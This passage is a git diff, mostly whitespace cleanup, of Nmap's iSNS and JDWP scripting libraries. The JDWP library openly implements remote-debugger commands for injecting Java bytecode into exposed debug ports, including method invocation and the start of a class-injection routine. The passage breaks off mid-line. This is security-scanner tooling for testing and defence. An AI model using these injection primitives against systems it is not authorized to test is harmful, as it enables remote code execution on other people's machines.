1537, }, - + -- -- Creates a new Attribute instance -- @@ -178,7 +178,7 @@ Attribute = { self.__index = self return o end, - + -- -- Creates a new Attribute instance -- @@ -187,20 +187,20 @@ Attribute = { parse = function(data) local attr = Attribute:new() local pos - + pos, attr.tag, attr.len = bin.unpack(">II", data) pos, attr.val = bin.unpack(">A" .. attr.len, pos) - + return attr end, - + -- -- Converts the instance to an opaque string -- @return str containing an opaque string __tostring = function(self) return bin.pack(">IIA", self.tag, self.len, self.val) end, - + } Attributes = { @@ -214,7 +214,7 @@ Attributes = { self.__index = self return o end, - + -- -- Adds a new Attribute to the table -- @param tag number containing the tag number @@ -223,7 +223,7 @@ Attributes = { add = function(self, tag, val, len) table.insert(self, Attribute:new(tag, val, len)) end, - + -- -- Converts the instance to an opaque string -- @return str containing an opaque string @@ -234,11 +234,11 @@ Attributes = { end return str end, - + } Request = { - + FuncId = { DevAttrReg = 0x0001, DevAttrQry = 0x0002, @@ -255,7 +255,7 @@ Request = { ESI = 0x000D, Heartbeat = 0x000E, }, - + -- -- Creates a new Request message -- @param func_id number containing the function ID of the message @@ -274,7 +274,7 @@ Request = { self.__index = self return o end, - + -- -- Converts the instance to an opaque string -- @return str containing an opaque string @@ -282,12 +282,12 @@ Request = { return tostring(self.header) .. tostring(self.data) .. ( self.auth and self.auth or "" ) end, - - + + } Response = { - + Error = { [0] = "Successful", [1] = "Unknown Error", @@ -314,7 +314,7 @@ Response = { [22] = "Invalid Deregistration", [23] = "Registration Feature Not Supported", }, - + -- -- Creates a new Response instance -- @return o new instance of Response @@ -324,7 +324,7 @@ Response = { self.__index = self return o end, - + -- -- Creates a new Response instance -- @@ -334,12 +334,12 @@ Response = { local hdr = Header.parse(data) local pos = #(tostring(hdr)) + 1 local resp = Response:new() - + pos, resp.error = bin.unpack(">I", data, pos) if ( resp.error ~= 0 ) then return resp end - + while( pos < #data ) do local tag, len, val pos, tag, len = bin.unpack(">II", data, pos) @@ -348,12 +348,12 @@ Response = { end return resp end, - + } Session = { - + -- -- Creates a new Session instance -- @param host table @@ -370,7 +370,7 @@ Session = { self.__index = self return o end, - + -- -- Connects to the server -- @return status true on success, false on failure @@ -379,7 +379,7 @@ Session = { self.socket:set_timeout(5000) return self.socket:connect(self.host, self.port) end, - + -- -- Sends data to the server -- @return status true on success, false on failure @@ -392,13 +392,13 @@ Session = { -- update the sequence and transaction ID's req.header.seq_id = self.seq_id req.header.trans_id = self.trans_id - + local status, err = self.socket:send(tostring(req)) self.trans_id = self.trans_id + 1 - + return status, err end, - + -- -- Receives data from the server -- @return status true on success, false on failure @@ -409,19 +409,19 @@ Session = { if ( not(status) ) then return status, buf_hdr end - + local hdr = Header.parse(buf_hdr) - + -- receive the data local buf_data = nil status, buf_data = self.socket:receive_buf(match.numbytes(hdr.pdu_len), true) if ( not(status) ) then return status, buf_data end - + return true, Response.parse(buf_hdr .. buf_data) end, - + close = function(self) return self.close() end @@ -429,8 +429,8 @@ Session = { Helper = { - - -- + + -- -- Creates a new Helper instance -- @param host param -- @param port param @@ -441,14 +441,14 @@ Helper = { self.__index = self return o end, - + -- -- Connects to the server -- @return status true on success, false on failure connect = function(self) return self.session:connect() end, - + -- -- Lists portals -- @return status true on success, false on failure @@ -464,23 +464,23 @@ Helper = { attribs:add(Attribute.Tag.ISNS_TAG_ENTITY_IDENTIFIER) local flags = 0x8c00 -- Sender is iSNS client, Last PDU, First PDU - + local req = Request:new(Request.FuncId.DevAttrQry, flags, tostring(attribs)) if ( not(self.session:send(req)) ) then return false, "Failed to send message to server" end - + local status, resp = self.session:receive() if ( not(status) ) then return false, "Failed to receive message from server" end - + local results = {} local addr, proto, port for _, attr in ipairs(resp.attrs) do if ( attr.tag == Attribute.Tag.ISNS_TAG_PORTAL_IP_ADDRESS ) then addr = attr.val - local pos, is_ipv4 = bin.unpack("A12", addr) + local pos, is_ipv4 = bin.unpack("A12", addr) if ( is_ipv4 == "\0\0\0\0\0\0\0\0\0\0\xFF\xFF" ) then local pos, bin_ip = bin.unpack("B4", addr, 13) addr = ipops.bin_to_ip(bin_ip) @@ -491,7 +491,7 @@ Helper = { elseif ( attr.tag == Attribute.Tag.ISNS_TAG_PORTAL_TCP_UDP_PORT ) then local pos, s1 pos, s1, port = bin.unpack(">SS", attr.val) - + if ( s1 == 1 ) then proto = "udp" elseif ( s1 == 0 ) then @@ -506,12 +506,12 @@ Helper = { end return true, results end, - + -- -- Lists iSCSI nodes -- @return status true on success, false on failure -- @return resulst list of iSCSI nodes, err string on failure - listISCINodes = function(self) + listISCINodes = function(self) local attribs = Attributes:new() local name = "iqn.control.node\0por" attribs:add(Attribute.Tag.ISNS_TAG_ISCSI_NAME, name) @@ -521,17 +521,17 @@ Helper = { attribs:add(Attribute.Tag.ISNS_TAG_ISCSI_NODE_TYPE) local flags = 0x8c00 -- Sender is iSNS client, Last PDU, First PDU - + local req = Request:new(Request.FuncId.DevAttrQry, flags, tostring(attribs)) if ( not(self.session:send(req)) ) then return false, "Failed to send message to server" end - + local status, resp = self.session:receive() if ( not(status) ) then return false, "Failed to receive message from server" end - + local name, ntype local results = {} for _, attr in ipairs(resp.attrs) do @@ -553,14 +553,14 @@ Helper = { table.insert(results, { name = name:match("^([^\0]*)"), type = ntype }) name, ntype = nil, nil end - end + end return true, results end, - + close = function(self) return self.session:close() end, - + } return _ENV; diff --git a/nselib/jdwp.lua b/nselib/jdwp.lua index 1e22ef519..414460afe 100644 --- a/nselib/jdwp.lua +++ b/nselib/jdwp.lua @@ -1,20 +1,20 @@ ---- JDWP (Java Debug Wire Protocol) library implementing a set of commands needed to --- use remote debugging port and inject java bytecode. +--- JDWP (Java Debug Wire Protocol) library implementing a set of commands needed to +-- use remote debugging port and inject java bytecode. -- --- There are two basic packet types in JDWP protool. --- Command packet and reply packet. Command packets are sent by +-- There are two basic packet types in JDWP protool. +-- Command packet and reply packet. Command packets are sent by -- a debugger to a remote port which replies with a reply packet. --- --- Simple handshake is needed to start the communication. +-- +-- Simple handshake is needed to start the communication. -- The debugger sends a "JDWP-Handshake" string and gets the same as a reply. -- Each (command and reply packet) has an id field since communication can be asynchronous. -- Packet id can be monothonicaly increasing. -- Although communication can be asynchronous, it is not (at least in my tests) so the same --- packet id can be used for all communication. --- +-- packet id can be used for all communication. +-- -- To start the connection, script should call jdwp.connect() which returns success -- status and a socket. All other protocol functions require a socket as their first parameter. --- +-- -- Example of initiating connection: -- -- local status,socket = jdwp.connect(host,port) @@ -27,7 +27,7 @@ -- -- References: -- * http://docs.oracle.com/javase/6/docs/technotes/guides/jpda/jdwp-spec.html --- +-- --@copyright Same as Nmap--See http://nmap.org/book/man-legal.html --@author Aleksandar Nikolic -- @@ -42,7 +42,7 @@ local nmap = require "nmap" _ENV = stdnse.module("jdwp", stdnse.seeall) --- JDWP protocol specific constants +-- JDWP protocol specific constants JDWP_CONSTANTS = { handshake = "JDWP-Handshake" -- Connection initialization handshake } @@ -105,7 +105,7 @@ ERROR_CODES = { [509] = "TRANSPORT_LOAD Unable to load the transport.", [510] = "TRANSPORT_INIT Unable to initialize the transport.", [511] = "NATIVE_METHOD", - [512] = "INVALID_COUNT The count is invalid." + [512] = "INVALID_COUNT The count is invalid." } -- JDWP protocol Command packet as described at @@ -123,17 +123,17 @@ JDWPCommandPacket = { data = data } setmetatable(o, self) - self.__index = self + self.__index = self return o end, - + -- Packs command packet as a string od bytes, ready to be sent -- to the target debugee. pack = function(self) local packed_packet - if self.data == nil then + if self.data == nil then packed_packet = bin.pack(">I",11) -- lenght - minimal header is 11 bytes - else + else packed_packet = bin.pack(">I",11 + #self.data) -- lenght with data end packed_packet = packed_packet .. bin.pack(">I",self.id) @@ -147,7 +147,7 @@ JDWPCommandPacket = { end } --- JDWP protocol Reply packet as described at +-- JDWP protocol Reply packet as described at -- http://docs.oracle.com/javase/6/docs/technotes/guides/jpda/jdwp-spec.html -- Reply packets are recognized by 0x80 in flag field. JDWPReplyPacket = { @@ -161,10 +161,10 @@ JDWPReplyPacket = { data = data -- reply data, contents depend on the command } setmetatable(o, self) - self.__index = self + self.__index = self return o end, - + -- Parses the reply into JDWPReplyPacket table. parse_reply = function(self,reply_packet) local pos,length,id,flags,error_code,data @@ -172,21 +172,21 @@ JDWPReplyPacket = { pos, id = bin.unpack(">I",reply_packet,pos) pos, flags = bin.unpack(">C",reply_packet,pos) pos, error_code = bin.unpack(">S",reply_packet,pos) - data = string.sub(reply_packet,pos) + data = string.sub(reply_packet,pos) if flags == 0x80 then return true, JDWPReplyPacket:new(length,id,error_code,data) end stdnse.print_debug(2,"JDWP error parsing reply. Wrong reply packet flag. Raw data: ", stdnse.tohex(reply_packet)) return false, "JDWP error parsing reply." end - + } --- Negotiates the initial debugger-debugee handshake. -- --@param host Host to connect to. --@param port Port to connect to. ---@return (status,socket) If status is false, socket is error message, otherwise socket is +--@return (status,socket) If status is false, socket is error message, otherwise socket is -- a newly created socket with initial handshake finished. function connect(host,port) local status, result,err @@ -195,7 +195,7 @@ function connect(host,port) local status, err = socket:connect(host, port) if not status then stdnse.print_debug(2,"JDWP could not connect: %s",err) - return status, err + return status, err end status, err = socket:send(JDWP_CONSTANTS.handshake) if not status then @@ -215,7 +215,7 @@ function connect(host,port) end --- Helper function to pack regular string into UTF-8 string. --- +-- --@param data String to pack into UTF-8. --@return utf8_string UTF-8 packed string. Four bytes lenght followed by the string its self. function toUTF8(data) @@ -223,8 +223,8 @@ function toUTF8(data) return utf8_string end ---- Helper function to read all Reply packed data which might be fragmented --- over multipe packets. +--- Helper function to read all Reply packed data which might be fragmented +-- over multipe packets. -- --@param socket Socket to receive from. --@return (status,data) If status is false, error string is returned, else data contains read ReplyPacket bytes. @@ -238,17 +238,17 @@ function receive_all(socket) while expected_length > #data do -- read until we get all the ReplyPacket data status,result = socket:receive() if not status then - return true, data -- if somethign is wrong,return partial data + return true, data -- if somethign is wrong,return partial data end data = data .. result end - return true,data + return true,data end --- Helper function to extract ascii string from UTF-8 -- -- Writen in this way so it can be used interchangeably with bin.unpack(). --- +-- --@param data Data from which to extract the string. --@param pos Offset into data string where to begin. --@return (pos,ascii_string) Returns position where the string extraction ended and actuall ascii string. @@ -268,32 +268,32 @@ end --- Helper function that sends the Command packet and parses the reply. -- --@param socket Socket to use to send the command. ---@param command JDWPCommandPacket to send. +--@param command JDWPCommandPacket to send. --@return (status,data) If status is false, data contains specified error code message. If true, data contains data from the reply. function executeCommand(socket,command) socket:send(command:pack()) local status, result = receive_all(socket) if not status then return false, "JDWP executeCommand() didn't get a reply." - end + end local reply_packet - status, reply_packet = JDWPReplyPacket:parse_reply(result) + status, reply_packet = JDWPReplyPacket:parse_reply(result) if not status then return false, reply_packet - end + end if not (reply_packet.error_code == 0) then -- we have a packet with error , error code 0 means no error occured return false, ERROR_CODES[reply_packet.error_code] - end + end local data = reply_packet.data return true, data end ---- VirtualMachine Command Set (1) +--- VirtualMachine Command Set (1) -- Commands targeted at the debugggee virtual machine. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine ---- Version Command (1) +--- Version Command (1) -- Returns the JDWP version implemented by the target VM as a table. -- -- Returns a table with following values: @@ -303,10 +303,10 @@ end -- * 'vmVersion' String representing version of the debuggee VM. -- * 'vmName' Name of the debuggee VM. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_Version --- +-- --@param socket Socket to use to send the command. ---@param id Packet id. ---@return (status,version_info) If status is false, version_info is an error string, else it contains remote VM version info. +--@param id Packet id. +--@return (status,version_info) If status is false, version_info is an error string, else it contains remote VM version info. function getVersion(socket,id) local command = JDWPCommandPacket:new(id,1,1,nil) -- Version Command (1) local status, data = executeCommand(socket,command) @@ -332,17 +332,17 @@ end --- Classes by Signature command (2) -- Returns reference types for all the classes loaded by the target VM which match the given signature. --- +-- -- Given the class signature (like "Ljava/lang/Class") returns it's reference ID which can be used to reference that class -- in other commands. Returns a list of tables containing following values: -- * 'refTypeTag' JNI type tag --- * 'referenceTypeID' Reference type of the class +-- * 'referenceTypeID' Reference type of the class -- * 'status' Current class status. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_ClassesBySignature -- --@param socket Socket to use to send the command. ---@param id Packet id. ---@param signature Signature of the class. +--@param id Packet id. +--@param signature Signature of the class. --@return (status,classes) If status is false, classes is an error string, else it contains list of found classes. function getClassBySignature(socket,id,signature) local command = JDWPCommandPacket:new(id,1,2,toUTF8(signature)) @@ -356,11 +356,11 @@ function getClassBySignature(socket,id,signature) local pos,number_of_classes = bin.unpack(">i",data) for i = 1, number_of_classes do - local class_info = { + local class_info = { refTypeTag = nil, referenceTypeID = nil, status = nil - } + } pos, class_info.refTypeTag = bin.unpack("c",data,pos) pos, class_info.referenceTypeID = bin.unpack(">L",data,pos) pos, class_info.status = bin.unpack(">i",data,pos) @@ -369,13 +369,13 @@ function getClassBySignature(socket,id,signature) return true, classes end ---- AllThreads Command (4) +--- AllThreads Command (4) -- Returns all threads currently running in the target VM . -- -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_AllThreads -- --@param socket Socket to use to send the command. ---@param id Packet id. +--@param id Packet id. --@return (status, threads) If status is false threads contains an error string, else it conatins a list of all threads in the debuggee VM. function getAllThreads(socket,id) local command = JDWPCommandPacket:new(id,1,4,nil) @@ -387,7 +387,7 @@ function getAllThreads(socket,id) -- parse data local pos,number_of_threads = bin.unpack(">i",data) local threads = {} - for i = 1, number_of_threads do + for i = 1, number_of_threads do local thread pos, thread = bin.unpack(">L",data,pos) table.insert(threads,thread) @@ -395,13 +395,13 @@ function getAllThreads(socket,id) return true, threads end ---- Resume Command (9) +--- Resume Command (9) -- Resumes execution of the application after the suspend command or an event has stopped it. -- -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_Resume --- +-- --@param socket Socket to use to send the command. ---@param id Packet id. +--@param id Packet id. --@return (status, nil) If status is false error string is returned, else it's null since this command has no data in the reply. function resumeVM(socket,id) local command = JDWPCommandPacket:new(id,1,9,nil) @@ -409,9 +409,9 @@ function resumeVM(socket,id) if not status then stdnse.print_debug(2,"JDWP resumeVM() error: %s", data) return false,data - end + end -- wait for event notification - status, data = receive_all(socket) + status, data = receive_all(socket) if not status then stdnse.print_debug(2,"JDWP resumeVM() event notification failed: %s", data) end @@ -424,7 +424,7 @@ end -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_CreateString -- --@param socket Socket to use to send the command. ---@param id Packet id. +--@param id Packet id. --@param ascii_string String to create. --@return (status, stringID) If status is false error string is returned, else stringID is newly created string. function createString(socket,id,ascii_string) @@ -433,24 +433,24 @@ function createString(socket,id,ascii_string) if not status then stdnse.print_debug(2,"JDWP createString() error: %s", data) return false,data - end + end local _,stringID = bin.unpack(">L",data) return true, stringID end --- AllClassesWithGeneric Command (20) -- Returns reference types and signatures for all classes currently loaded by the target VM. --- --- Returns a list of tables containing following info: --- * 'refTypeTag' Kind of following reference type. --- * 'typeID' Loaded reference type --- * 'signature' The JNI signature of the loaded reference type. +-- +-- Returns a list of tables containing following info: +-- * 'refTypeTag' Kind of following reference type. +-- * 'typeID' Loaded reference type +-- * 'signature' The JNI signature of the loaded reference type. -- * 'genericSignature' The generic signature of the loaded reference type or an empty string if there is none. --- * 'status' The current class status. +-- * 'status' The current class status. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_AllClassesWithGeneric -- --@param socket Socket to use to send the command. ---@param id Packet id. +--@param id Packet id. --@return (status, all_classes) If status is false all_classes contains an error string, else it is a list of loaded classes information. function getAllClassesWithGeneric(socket,id) local command = JDWPCommandPacket:new(id,1,20,nil) @@ -462,7 +462,7 @@ function getAllClassesWithGeneric(socket,id) -- parse data local all_classes = {} local pos,number_of_classes = bin.unpack(">i",data) - + for i = 0 , number_of_classes do local class = { refTypeTag = nil, @@ -482,7 +482,7 @@ function getAllClassesWithGeneric(socket,id) return true, all_classes end ---- ReferenceType Command Set (2) +--- ReferenceType Command Set (2) -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ReferenceType @@ -492,7 +492,7 @@ end -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ReferenceType_SignatureWithGeneric -- --@param socket Socket to use to send the command. ---@param id Packet id. +--@param id Packet id. --@param classID Reference type id of the class to get the signature from. --@return (status, signature) If status is false signature contains an error string, else it is class signature (like "Ljava/lang/Class"). function getSignatureWithGeneric(socket,id,classID) @@ -512,14 +512,14 @@ end -- -- Returns a list of tables containing following fields for each method: -- * 'methodID' Method ID which can be used to call the method. --- * 'name' The name of the method. --- * 'signature' The JNI signature of the method. --- * 'generic_signature' The generic signature of the method, or an empty string if there is none. +-- * 'name' The name of the method. +-- * 'signature' The JNI signature of the method. +-- * 'generic_signature' The generic signature of the method, or an empty string if there is none. -- * 'modBits' The modifier bit flags (also known as access flags) which provide additional information on the method declaration. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ReferenceType_MethodsWithGeneric -- --@param socket Socket to use to send the command. ---@param id Packet id. +--@param id Packet id. --@param classID Reference type id of the class to get the list of methods. --@return (status, signature) If status is false methods contains an error string, else it a list of methods information. function getMethodsWithGeneric(socket,id,classID) @@ -529,7 +529,7 @@ function getMethodsWithGeneric(socket,id,classID) stdnse.print_debug(2,"JDWP getMethodsWithGeneric() error : %s",data) return false,data end - -- parse data + -- parse data local methods = {} local pos,number_of_methods = bin.unpack(">i",data) @@ -540,7 +540,7 @@ function getMethodsWithGeneric(socket,id,classID) signature = nil, generic_signature = nil, modBits = nil - } + } pos, method_info.methodID = bin.unpack(">i",data,pos) pos,method_info.name = extract_string(data,pos) pos, method_info.signature = extract_string(data,pos) @@ -554,14 +554,14 @@ end --- ClassType Command Set (3) -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassType ---- InvokeMethod Command (3) +--- InvokeMethod Command (3) -- Invokes a class' static method and returns the reply data. --- +-- -- Reply data can vary so parsing is left to the function caller. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassType_InvokeMethod -- --@param socket Socket to use to send the command. ---@param id Packet id. +--@param id Packet id. --@param classID Reference type id of the class. --@param methodID ID of the static method to call. --@numberOfArguments Number of method arguments. @@ -575,7 +575,7 @@ function invokeStaticMethod(socket,id,classID,methodID,numberOfArguments,argumen else params = bin.pack(">Lii",classID,methodID,numberOfArguments) .. arguments .. bin.pack(">i",options) end - + local command = JDWPCommandPacket:new(id,3,3,params) local status, data = executeCommand(socket,command) if not status then @@ -586,16 +586,16 @@ function invokeStaticMethod(socket,id,classID,methodID,numberOfArguments,argumen end --- NewInstance Command (4) --- Creates a new object of this type, invoking the specified constructor. +-- Creates a new object of this type, invoking the specified constructor. -- The constructor method ID must be a member of the class type. -- -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassType_NewInstance -- --@param socket Socket to use to send the command. ---@param id Packet id. +--@param id Packet id. --@param classID Reference type id of the class. ---@param threadID The thread in which to invoke the constructor. ---@param methodID The constructor to invoke. +--@param threadID The thread in which to invoke the constructor. +--@param methodID The constructor to invoke. --@numberOfArguments Number of constructor arguments. --@arguments Already packed arguments. --@return (status, objectID) If status is false data contains an error string, else it contains a reference ID of the newly created object. @@ -606,7 +606,7 @@ function newClassInstance(socket,id,classID,threadID,methodID,numberOfArguments, else params = bin.pack(">LLii",classID,threadID,methodID,numberOfArguments) .. arguments end - + local command = JDWPCommandPacket:new(id,3,4,params) local status, data = executeCommand(socket,command) if not status then @@ -621,16 +621,16 @@ function newClassInstance(socket,id,classID,threadID,methodID,numberOfArguments, return true,objectID end ---- ArrayType Command Set (4) +--- ArrayType Command Set (4) -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayType --- NewInstance Command (1) --- Creates a new array object of the specified type with a given length. +-- Creates a new array object of the specified type with a given length. -- -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayType_NewInstance --- +-- --@param socket Socket to use to send the command. ---@param id Packet id. +--@param id Packet id. --@param arrayType The array type of the new instance as per JNI (http://docs.oracle.com/javase/6/docs/technotes/guides/jni/spec/types.html#wp9502). --@param length Length of the new array. --@return (status, arrayID) If status is false data contains an error string, else it contains a reference ID of the newly created array. @@ -642,23 +642,23 @@ function newArrayInstance(socket,id,arrayType,length) stdnse.print_debug(2,"JDWP newArrayInstance() error: %s", data) return false,data end - local pos,_ , tag, arrayID + local pos,_ , tag, arrayID pos, tag = bin.unpack("C",data) _, arrayID = bin.unpack(">L",data,pos) return true, arrayID end ---- ObjectReference Command Set (9) +--- ObjectReference Command Set (9) -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ObjectReference --- ReferenceType Command (1) --- Returns the runtime type of the object. The runtime type will be a class or an array. +-- Returns the runtime type of the object. The runtime type will be a class or an array. -- --- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ObjectReference_ReferenceType +-- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ObjectReference_ReferenceType -- --@param socket Socket to use to send the command. ---@param id Packet id. ---@param objectID The ID of an object. +--@param id Packet id. +--@param objectID The ID of an object. --@return (status, runtime_type) If status is false runtime_type contains an error string, else it contains runtime type of an object. function getRuntimeType(socket,id,objectID) local command = JDWPCommandPacket:new(id,9,1,bin.pack(">L",objectID)) @@ -666,35 +666,35 @@ function getRuntimeType(socket,id,objectID) if not status then stdnse.print_debug(2,"JDWP resumeVM() error: %s", data) return false,data - end + end local _,tag,runtime_type = bin.unpack(">CL",data) stdnse.print_debug("runtime type: %d",runtime_type) return true,runtime_type end ---- InvokeMethod Command (6) --- Invokes a instance method with specified parameters. --- +--- InvokeMethod Command (6) +-- Invokes a instance method with specified parameters. +-- -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ObjectReference_InvokeMethod -- --@param socket Socket to use to send the command. ---@param id Packet id. ---@param objectID The ID of an object. ---@param threadID The thread in which to invoke. ---@param classID The class type. +--@param id Packet id. +--@param objectID The ID of an object. +--@param threadID The thread in which to invoke. +--@param classID The class type. --@param methodID ID of the method to invoke. ---@param numberOfArguments Number of method arguments. +--@param numberOfArguments Number of method arguments. --@arguments Already packed arguments. --@return (status, data) If status is false data contains an error string, else it contains a reply data and needs to be parsed manualy. function invokeObjectMethod(socket,id,objectID,threadID,classID,methodID,numberOfArguments,arguments) local params - + if numberOfArguments == 0 then params = bin.pack(">LLLii",objectID,threadID,classID,methodID,numberOfArguments) else params = bin.pack(">LLLii",objectID,threadID,classID,methodID,numberOfArguments) .. arguments end - + local command = JDWPCommandPacket:new(id,9,6,params) local status, data = executeCommand(socket,command) if not status then @@ -705,17 +705,17 @@ function invokeObjectMethod(socket,id,objectID,threadID,classID,methodID,numberO return true,data end ---- StringReference Command Set (10) +--- StringReference Command Set (10) -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_StringReference --- Value Command (1) --- Returns the characters contained in the string. +-- Returns the characters contained in the string. -- -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_StringReference_Value -- --@param socket Socket to use to send the command. ---@param id Packet id. ---@param stringID The ID of a string to read. +--@param id Packet id. +--@param stringID The ID of a string to read. --@return (status, data) If status is false result contains an error string, else it contains read string. function readString(socket,id,stringID) local command = JDWPCommandPacket:new(id,10,1,bin.pack(">L",stringID)) @@ -723,22 +723,22 @@ function readString(socket,id,stringID) if not status then stdnse.print_debug(2,"JDWP readString() error: %s", data) return false,data - end + end local _,result = extract_string(data,0) return true,result end ---- ThreadReference Command Set (11) +--- ThreadReference Command Set (11) -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference --- Name Command (1) --- Returns the thread name. +-- Returns the thread name. -- -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference_Name -- --@param socket Socket to use to send the command. ---@param id Packet id. +--@param id Packet id. --@param threadID The ID of a thread. --@return (status, thread_name) If status is false thread_name contains an error string, else it contains thread's name. function getThreadName(socket,id,threadID) @@ -751,16 +751,16 @@ function getThreadName(socket,id,threadID) end -- parse data local _,thread_name = extract_string(data,0) - return true, thread_name + return true, thread_name end --- Suspend Command (2) --- Suspends the thread. +-- Suspends the thread. -- -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference_Suspend -- --@param socket Socket to use to send the command. ---@param id Packet id. +--@param id Packet id. --@param threadID The ID of a thread. --@return (status, thread_name) If status is false an error string is returned, else it's nil. function suspendThread(socket,id,threadID) @@ -770,7 +770,7 @@ function suspendThread(socket,id,threadID) if not status then stdnse.print_debug(2,"JDWP suspendThread() error: %s", data) return false,data - end + end return true, nil end @@ -781,7 +781,7 @@ end -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference_Status -- --@param socket Socket to use to send the command. ---@param id Packet id. +--@param id Packet id. --@param threadID The ID of a thread. --@return (status, thread_name) If status is false an error string is returned, else unparsed thread status data. function threadStatus(socket,id,threadID) @@ -791,12 +791,12 @@ function threadStatus(socket,id,threadID) if not status then stdnse.print_debug(2,"JDWP threadStatus() error: %s", data) return false,data - end + end stdnse.print_debug("threadStatus %s",stdnse.tohex(data)) return true, data end ---- ArrayReference Command Set (13) +--- ArrayReference Command Set (13) -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayReference --- SetValues Command (3) @@ -805,7 +805,7 @@ end -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayReference_SetValues -- --@param socket Socket to use to send the command. ---@param id Packet id. +--@param id Packet id. --@param objectID The ID of an array object. --@return (status, data) If status is false an error string is returned, else it's nil. function setArrayValues(socket,id,objectID,idx,values) @@ -816,18 +816,18 @@ function setArrayValues(socket,id,objectID,idx,values) stdnse.print_debug(2,"JDWP setArrayValues() error: %s", data) return false,data end - return true, nil + return true, nil end ---- EventRequest Command Set (15) +--- EventRequest Command Set (15) -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest --- Uses Set Command (1) to set singlesteping to specified thread. --- +-- -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest_Set -- --@param socket Socket to use to send the command. ---@param id Packet id. +--@param id Packet id. --@param threadID The ID of the thread. --@return (status, requestID) If status is false an error string is returned, else it contains assigned request id. function setThreadSinglestep(socket,id,threadID) @@ -837,9 +837,9 @@ function setThreadSinglestep(socket,id,threadID) if not status then stdnse.print_debug(2,"JDWP setThreadSinglestep() error: %s", data) return false,data - end + end local _, requestID = bin.unpack(">i",data) - return true, requestID + return true, requestID end --- Uses Clear Command (2) to unset singlesteping from a thread by specified event. @@ -847,7 +847,7 @@ end -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest_Clear -- --@param socket Socket to use to send the command. ---@param id Packet id. +--@param id Packet id. --@param eventID The ID of the thread. --@return (status, requestID) If status is false an error string is returned, else it's nil. function clearThreadSinglestep(socket,id,eventID) @@ -857,21 +857,21 @@ function clearThreadSinglestep(socket,id,eventID) if not status then stdnse.print_debug(2,"JDWP clearThreadSinglestep() error: %s", data) return false,data - end + end return true,nil end ---- ClassObjectReference Command Set (17) +--- ClassObjectReference Command Set (17) -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassObjectReference --- ReflectedType Command (1) --- Returns the reference type reflected by this class object. +-- Returns the reference type reflected by this class object. -- -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassObjectReference_ReflectedType -- --@param socket Socket to use to send the command. ---@param id Packet id. +--@param id Packet id. --@param classObjectID The ID of the object. --@return (status, reflected_type) If status is false an error string is returned, else reflected_type is object's reference type. function getReflectedType(socket,id,classObjectID) @@ -881,13 +881,13 @@ function getReflectedType(socket,id,classObjectID) if not status then stdnse.print_debug(2,"JDWP getReflectedType() error: %s", data) return false,data - end + end local reflected_type = { refTypeTag = nil, typeID = nil } _,reflected_type.refTypeTag, reflected_type.typeID = bin.unpack(">CL",data) - + return true, reflected_type end @@ -914,7 +914,7 @@ function findMethod(socket,class,methodName,skipFirst) end end end - end + end return methodID end @@ -948,7 +948,7 @@ function injectClass(socket,class_bytes) return false end stdnse.print_debug("Found byte[] id %d",byteArrayID) - + -- find SecureClassLoader id by signature status, classes = getClassBySignature(socket,0,"Ljava/security/SecureClassLoader;") if not status then @@ -956,19 +956,19 @@ function injectClass(socket,class_bytes) end local secureClassLoader = classes[1].referenceTypeID stdnse.print_debug("Found SecureClassLoader id 